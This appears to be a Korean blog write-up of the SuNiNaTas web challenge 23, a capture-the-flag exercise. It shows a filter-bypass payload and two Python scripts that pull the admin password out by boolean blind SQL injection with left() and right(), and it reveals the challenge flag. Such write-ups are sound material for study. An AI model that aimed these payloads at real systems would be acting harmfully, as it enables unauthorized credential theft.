반응형

1) admin의 패스워드 확인

 - admin의 문자열을 우회 : a'+'dmin' 

 - id=a'%2b'dmin'and+len(pw)=12-- 를 이용하여 admin의 패스워드가 12자리임을 확인


2) left를 이용하여 앞에서부터 확인

 - admin의 패스워드 첫번째 글자가 v임을 확인


- guest의 패스워드는 guest임을 확인하였기 때문에 id 부분에 따로 admin이라고 작성해주지 않고 or 을 이용하여 v로 시작하는 패스워드를 확인하면 guest가 아닌 admin의 패스워드를 찾으며 길이에 대한 이점이 생긴다.

(코드)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

cookies = {'ASPSESSIONIDCABAABAS':'AKJHNLMBKIPJLJLOGFIELDMA'}
result = 'v'
 
for i in range(2,13):
    print "[-]: "+str(i)
    for j in range(32,122):
        url = "http://suninatas.com/Part_one/web23/web23.asp?id='or+left(pw,"+str(i)+")='"+result+chr(j)+"'--&pw=1"
        response = requests.get(url,cookies=cookies)
        print url
 
        if 'OK' in response.text:
            result += chr(j)
            print "[+]result = " + result
            break
cs




(결과) 길이에 대한 필터링때문에 v3ryhardsq 까지만 확인 가능



3) right를 이용하여 뒤에서부터 확인

 -뒤에서부터 확인하였을 때 OK admin이 나온 것은 i 였으므로 i 부터 뒤에서부터 확인

(코드)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

cookies = {'ASPSESSIONIDCABAABAS':'AKJHNLMBKIPJLJLOGFIELDMA'}
result = 'i'
 
for i in range(2,13):
    print "[-]: "+str(i)
    for j in range(32,122):
        url = "http://suninatas.com/Part_one/web23/web23.asp?id='or+right(pw,"+str(i)+")='"+chr(j)+result+"'--&pw=1"
        response = requests.get(url,cookies=cookies)
        print url
 
        if 'OK' in response.text:
            result = chr(j)+result
            print "[+]result = " + result
            break
cs


(결과) yhardsqli를 확인


둘을 합치면 v3ryhardsqli가 Flag인 것을 알 수 있다.


~ SuNiNaTas All Clear ~


반응형

'Solve Problem' 카테고리의 다른 글

[CYBER TALENTS] This is Sparta  (0) 2019.02.05
[root-me] Command injection - Filter bypass  (0) 2019.02.01
[PythonChallenge] 3번 문제  (0) 2018.09.02
[PythonChallenge] 2번  (0) 2018.09.02
[PythonChallenge] 1번  (0) 2018.09.02
블로그 이미지

rootable

,